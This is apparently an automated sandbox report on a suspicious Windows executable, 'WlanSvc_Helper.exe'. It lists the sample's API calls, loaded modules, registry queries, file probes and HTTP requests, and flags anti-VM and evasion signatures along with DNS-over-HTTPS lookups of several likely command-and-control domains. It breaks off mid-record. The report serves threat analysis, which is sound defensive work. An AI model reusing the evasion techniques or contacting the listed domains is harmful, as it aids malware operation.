RtlGetVersion (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter EtwEventWrite (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter RtlSetProcessIsCritical (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00006464)4c:T485,Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; File: "WlanSvc_Helper.exe") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "WlanSvc_Helper.exe") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreateProcess failed. Code:" (Indicator: "CreateProcess"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreateProcess failed. Code:" (Indicator: "CreateProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateProcessW failed with Win32 Error:" (Indicator: "CreateProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")4d:T599,SleepConditionVariableSRW@KERNEL32.dll at 14489-4764-0000000140139500 SleepConditionVariableSRW@KERNEL32.dll at 14489-4851-0000000140131B00 SleepConditionVariableSRW@KERNEL32.dll at 14489-5229-000000014013A680 Sleep@KERNEL32.dll at 14489-5478-00000001400B91D0 Sleep@KERNEL32.dll at 14489-5485-00000001400B4270 WaitForSingleObject@KERNEL32.dll at 14489-5500-00000001400B15F0 Sleep@KERNEL32.dll at 14489-5513-00000001400A9380 WaitForSingleObject@KERNEL32.dll at 14489-5539-00000001400A0550 WaitForSingleObject@KERNEL32.dll at 14489-5548-00000001400A1D00 WaitForSingleObject@KERNEL32.dll at 14489-5595-00000001400995A0 Sleep@KERNEL32.dll at 14489-5618-0000000140089160 Sleep@KERNEL32.dll at 14489-5631-0000000140084720 WaitForSingleObject@KERNEL32.dll at 14489-5638-0000000140082540 Sleep@KERNEL32.dll at 14489-5641-00000001400822F0 Sleep@KERNEL32.dll at 14489-5656-000000014007C9F0 Sleep@KERNEL32.dll at 14489-5659-000000014007C6F0 Sleep@KERNEL32.dll at 14489-5910-0000000140047770 Sleep@KERNEL32.dll at 14489-5916-0000000140040EB0 Sleep@KERNEL32.dll at 14489-5925-00000001400853D0 WaitForSingleObjectEx@KERNEL32.dll at 14489-5930-0000000140135440 Sleep@KERNEL32.dll at 14489-6549-00000001400085E1 Sleep@KERNEL32.dll at 14489-7293-0000000140042F0A Sleep@KERNEL32.dll at 14489-7348-00000001400474F4 Sleep@KERNEL32.dll at 14489-7370-0000000140047F66 WaitForSingleObject@KERNEL32.dll at 14489-7445-000000014004CC4E4e:T7f6,Found reference to API "StartServiceW" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartServiceCtrlDispatcher"; File: "WlanSvc_Helper.exe") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "[Update] W StartService retry err=" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "[Update] W StartService ok starts=" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "[Update] W StartService hard fail err=" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "[RESTORE] StartService failed err=" (Indicator: "StartService"; File: "WlanSvc_Helper.exe") Found reference to API "[Update] W StartService exhausted" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[Update] W StartService retry err=" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[Update] W StartService ok starts=" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[Update] W StartService hard fail err=" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[RESTORE] StartService failed err=" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "StartServiceW" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartServiceCtrlDispatcher"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "StartServiceCtrlDispatcherW" (Indicator: "StartService"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")4f:Td3b,"SOFTWARE\Classes\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PropertyBag" in Source: 00000000-00006464.00000000.134867.41C39000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00006464.00000000.134867.41C39000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00006464.00000000.134867.41C39000.00000002.mdmp "achine\Software\Classes\WOW6432Node\CLSI" in Source: 00000000-00006464.00000001.136789.48C48000.00000004.mdmp "SOFTWARE\Classes\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PropertyBag" in Source: 00000000-00006464.00000001.136789.48C48000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00006464.00000001.136789.4B000000.00000004.mdmp "achine\Software\Classes\WOW6432Node\CLSI" in Source: 00000000-00006464.00000002.138708.48C48000.00000004.mdmp "SOFTWARE\Classes\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PropertyBag" in Source: 00000000-00006464.00000002.138708.48C48000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00006464.00000002.138708.4B000000.00000004.mdmp "achine\Software\Classes\WOW6432Node\CLSI" in Source: 00000000-00006464.00000003.144214.48C48000.00000004.mdmp "SOFTWARE\Classes\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PropertyBag" in Source: 00000000-00006464.00000003.144214.48C48000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00006464.00000003.144214.4B000000.00000004.mdmp50:Tc44,"GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1 Connection: Keep-Alive Accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: cloudflare-dns.com" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Wed 11 Nov 2026 11:43:08 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 472 CF-RAY: a58d099b0e4e88fa-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /dns-query?name=get.api-mall.vip&type=TXT HTTP/1.1 Connection: Keep-Alive Accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: cloudflare-dns.com" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Wed 11 Nov 2026 11:43:09 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 474 CF-RAY: a58d09a3ac9288fa-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /dns-query?name=get.xiner.top&type=TXT HTTP/1.1 Connection: Keep-Alive Accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: cloudflare-dns.com" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Wed 11 Nov 2026 11:43:09 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 468 CF-RAY: a58d09a52cc49464-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /dns-query?name=get.yabgo.top&type=TXT HTTP/1.1 Connection: Keep-Alive Accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: cloudflare-dns.com" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Wed 11 Nov 2026 11:43:10 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 468 CF-RAY: a58d09abaa0b9464-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /dns-query?name=get.xabatay.top&type=TXT HTTP/1.1 Connection: Keep-Alive Accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: cloudflare-dns.com" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Wed 11 Nov 2026 11:43:31 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 472 CF-RAY: a58d0a2dcbd267c1-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365.......51:Tc16,"WlanSvc_Helper.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffc0bb0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "KERNEL32" at base 7fffe9960000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "RPCRT4.DLL" at base 7fffe9410000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fffe7e70000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7fffd9da0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7fffd9800000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7fffd9940000 "WlanSvc_Helper.exe" loaded module "AMSI.DLL" at base 7fffd8e90000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffe81d0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\YRRPNRX1.DLL" at base 7fffe3e90000 "WlanSvc_Helper.exe" loaded module "KERNEL32.DLL" at base 7fffe9960000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7fffe59d0000 "WlanSvc_Helper.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7fffea240000 "WlanSvc_Helper.exe" loaded module "WINHTTP.DLL" at base 7fffe16f0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fffcb160000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fffe71f0000 "WlanSvc_Helper.exe" loaded module "SSPICLI.DLL" at base 7fffe79d0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fffde340000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fffdf230000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7fffe6a20000 "WlanSvc_Helper.exe" loaded module "MSKEYPROTECT.DLL" at base 7fffd90e0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7fffd62f0000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fffe6b10000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7fffd1e70000 "WlanSvc_Helper.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fffe7bc0000 "WlanSvc_Helper.exe" loaded module "CRYPTNET.DLL" at base 7fffd1e7000052:T8fd,"WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2026"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")53:T46f,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Possibly tries to evade analysis by sleeping multiple times Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: The input sample contains a known anti-VM trick Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Makes a code branch decision directly after an API that is environment aware54:T47a,"WlanSvc_Helper.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "WlanSvc_Helper.exe" trying to touch file "C:\WINDOWS\SYSTEM32\apphelp.dll" "WlanSvc_Helper.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "WlanSvc_Helper.exe" trying to touch file "C:\WINHTTP.dll" "WlanSvc_Helper.exe" trying to touch file "C:\Windows\System32\winhttp.dll" "WlanSvc_Helper.exe" trying to touch file "C:\WINDOWS\SYSTEM32\WINHTTP.dll" "WlanSvc_Helper.exe" trying to touch file "C:\DPAPI.DLL" "WlanSvc_Helper.exe" trying to touch file "C:\Windows\System32\dpapi.dll" "WlanSvc_Helper.exe" trying to touch file "C:\WINDOWS\SYSTEM32\DPAPI.DLL" "WlanSvc_Helper.exe" trying to touch file "C:\Windows\System32\imm32.dll" "WlanSvc_Helper.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "WlanSvc_Helper.exe" trying to touch file "C:\windows\temp\VxSSL64.dll" "WlanSvc_Helper.exe" trying to touch file "C:\FLTLIB.DLL" "WlanSvc_Helper.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "WlanSvc_Helper.exe" trying to touch file "C:\WINDOWS\SYSTEM32\FLTLIB.DLL" "WlanSvc_Helper.exe" trying to touch file "C:\MSVCP140.dll"55:T573,"WlanSvc_Helper.exe" trying to access non-existent file "C:\WINHTTP.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\DPAPI.DLL" "WlanSvc_Helper.exe" trying to access non-existent file "C:\FLTLIB.DLL" "WlanSvc_Helper.exe" trying to access non-existent file "C:\MSVCP140.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "WlanSvc_Helper.exe" trying to access non-existent file "C:\Windows\System32\updater.exe" "WlanSvc_Helper.exe" trying to access non-existent file "C:\Windows\System32\wbem\wbemcomn.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\Windows\System32\WlanSvc_Helper.exe" "WlanSvc_Helper.exe" trying to access non-existent file "C:\Windows\System32\WinMgmt_Task.exe" "WlanSvc_Helper.exe" trying to access non-existent file "C:\Windows\System32\SysMain.exe" "WlanSvc_Helper.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "WlanSvc_Helper.exe" trying to access non-existent file "C:\webio.dll" "WlanSvc_Helper.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "WlanSvc_Helper.exe" trying to access non-existent file "C:\winnlsres.dll"56:T10c6,"WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c57880" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432172218816"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b04c3a0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881584"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b019130" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209799616"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881680"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432172218528"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881648"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209799488"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with 